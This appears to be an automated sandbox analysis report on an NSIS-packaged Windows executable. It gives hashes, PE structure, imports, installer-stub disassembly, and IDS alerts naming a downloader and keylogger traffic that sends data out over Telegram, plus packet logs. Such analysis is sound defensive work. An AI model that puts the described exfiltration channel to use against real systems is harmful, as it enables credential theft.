SHA-256:	CFE314D84F1C8A06E64A33FC2D1D21DEF5EA615346898D1B9B8CDF5C90C74725
SHA-512:	8FCDABA6F7ACBDF64843ED8DC5361164F00588CD72F199165E25C708331E75C9E34EAAF0C6F3EDF5983874B8D7C8C7F9CEEC7CA74716A3028FAF9C333A418727
Malicious:	false
Preview:	.6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...........y...h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.959228516971741
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	czHx16QwGQ.exe
File size:	1'014'160 bytes
MD5:	1a0fe25178e09cf0facc1f7bd6f221a8
SHA1:	51e3ccc0373f62778f0d3ccc79f5f16136f77129
SHA256:	84b2e764db4bcdad20e5b5455c35a59e9382d29c77ee3ce50940de23691a85a8
SHA512:	619f51488cd6a83690587883bcfa64e0009fdbe8ef60c31133b310fc2b49743617557421415e71f0fc44c13ef65aac36b3e8dc5af24ab12c32bb27bb33a2a8d7
SSDEEP:	24576:9jwKCN6c+42RBHzWeyBc4naJ2ZssPoZT0tDVQX:V1Cwc+4YHyB9ap3ZT1
TLSH:	0125234D3357DE2BC2E0CB71BF479B5A7DAD9E000D80A96301A43F8A7533991827E7A5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F15F08251A3h
push ebx
call 00007F15F082846Dh
cmp eax, ebx
je 00007F15F0825199h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F15F08283E7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F15F082517Ch
push 0000000Ah
call 00007F15F0828440h
push 00000008h
call 00007F15F0828439h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F15F082842Dh
cmp eax, ebx
je 00007F15F08251A1h
push 0000001Eh
call eax
test eax, eax
je 00007F15F0825199h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:38:48.199385+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49735	216.58.206.46	443	TCP
2025-01-10T23:38:53.628248+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49770	193.122.6.168	80	TCP
2025-01-10T23:39:00.831434+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49770	193.122.6.168	80	TCP
2025-01-10T23:39:01.479700+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49821	149.154.167.220	443	TCP
2025-01-10T23:39:01.786657+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49821	149.154.167.220	443	TCP
2025-01-10T23:39:02.909553+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49831	193.122.6.168	80	TCP
2025-01-10T23:39:03.511066+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49837	149.154.167.220	443	TCP
2025-01-10T23:39:03.820929+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49837	149.154.167.220	443	TCP
2025-01-10T23:39:04.534573+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49843	193.122.6.168	80	TCP
2025-01-10T23:39:05.091683+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49848	149.154.167.220	443	TCP
2025-01-10T23:39:05.562695+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49848	149.154.167.220	443	TCP
2025-01-10T23:39:06.875951+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49858	149.154.167.220	443	TCP
2025-01-10T23:39:07.214329+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49858	149.154.167.220	443	TCP
2025-01-10T23:39:08.463009+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49870	149.154.167.220	443	TCP
2025-01-10T23:39:08.866445+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49870	149.154.167.220	443	TCP
2025-01-10T23:39:10.124870+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49882	149.154.167.220	443	TCP
2025-01-10T23:39:10.471564+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49882	149.154.167.220	443	TCP
2025-01-10T23:39:11.748841+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49894	149.154.167.220	443	TCP
2025-01-10T23:39:12.121448+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49894	149.154.167.220	443	TCP
2025-01-10T23:39:13.393119+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49909	149.154.167.220	443	TCP
2025-01-10T23:39:13.759190+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49909	149.154.167.220	443	TCP
2025-01-10T23:39:15.071860+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49920	149.154.167.220	443	TCP
2025-01-10T23:39:15.579856+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49920	149.154.167.220	443	TCP
2025-01-10T23:39:16.886597+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49933	149.154.167.220	443	TCP
2025-01-10T23:39:17.124804+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49933	149.154.167.220	443	TCP
2025-01-10T23:39:18.401899+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49945	149.154.167.220	443	TCP
2025-01-10T23:39:18.724664+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49945	149.154.167.220	443	TCP
2025-01-10T23:39:20.015911+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49959	149.154.167.220	443	TCP
2025-01-10T23:39:20.369646+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49959	149.154.167.220	443	TCP
2025-01-10T23:39:21.647836+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T23:39:21.953870+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T23:39:23.224937+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T23:39:23.463010+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T23:39:24.739870+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49995	149.154.167.220	443	TCP
2025-01-10T23:39:25.033820+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	49995	149.154.167.220	443	TCP
2025-01-10T23:39:26.301176+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50007	149.154.167.220	443	TCP
2025-01-10T23:39:26.604848+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50007	149.154.167.220	443	TCP
2025-01-10T23:39:27.882638+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T23:39:28.114488+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T23:39:29.424430+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T23:39:29.654705+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T23:39:30.938589+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T23:39:31.151584+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T23:39:32.440265+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T23:39:32.720784+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T23:39:36.938687+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	50018	149.154.167.220	443	TCP
2025-01-10T23:39:37.230195+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.8	50018	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:38:47.154973984 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.154999018 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.155075073 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.174654961 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.174670935 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.819293976 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.819410086 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.820804119 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.820867062 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.890839100 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.890857935 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.891196966 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:47.891258955 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.897267103 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:47.939331055 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:48.199362040 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:48.199419975 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:48.199431896 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:48.199470997 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:48.199621916 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:48.199662924 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:48.199800014 CET	443	49735	216.58.206.46	192.168.2.8
Jan 10, 2025 23:38:48.199830055 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:48.199856043 CET	49735	443	192.168.2.8	216.58.206.46
Jan 10, 2025 23:38:48.226010084 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.226048946 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:48.226425886 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.226948977 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.226963043 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:48.861766100 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:48.861885071 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.866559982 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.866569996 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:48.866801977 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:48.868501902 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.868948936 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:48.911333084 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.137548923 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.137630939 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.143337965 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.143398046 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.155996084 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.156065941 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.156090975 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.156131983 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.162116051 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.162180901 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.224158049 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.224216938 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.224220037 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.224250078 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.224263906 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.224304914 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.226774931 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.228003979 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.228028059 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.228074074 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.233057976 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.233134031 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.233159065 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.233474970 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.239357948 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.239545107 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.239569902 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.239696026 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.245964050 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.246104002 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.246131897 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.246171951 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.252031088 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.252176046 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.252194881 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.252485991 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.258354902 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.258400917 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.258419991 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.258457899 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.264523029 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.264575005 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.264602900 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.265100956 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.270292997 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.270539999 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.270551920 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.270592928 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.276109934 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.276160002 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.276169062 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.276205063 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.281992912 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.282047987 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.282053947 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.282217979 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.287719011 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.287770987 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.291215897 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.291271925 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.293493032 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.293550968 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.310852051 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.310910940 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.310937881 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.310986042 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.310992002 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.311038017 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.311047077 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.311094046 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.311100006 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.311151981 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.312999964 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.313057899 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.313492060 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.313611984 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.318964958 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.319015980 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.319056034 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.319108009 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.319148064 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.319195032 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.324811935 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.324873924 CET	49741	443	192.168.2.8	142.250.181.225
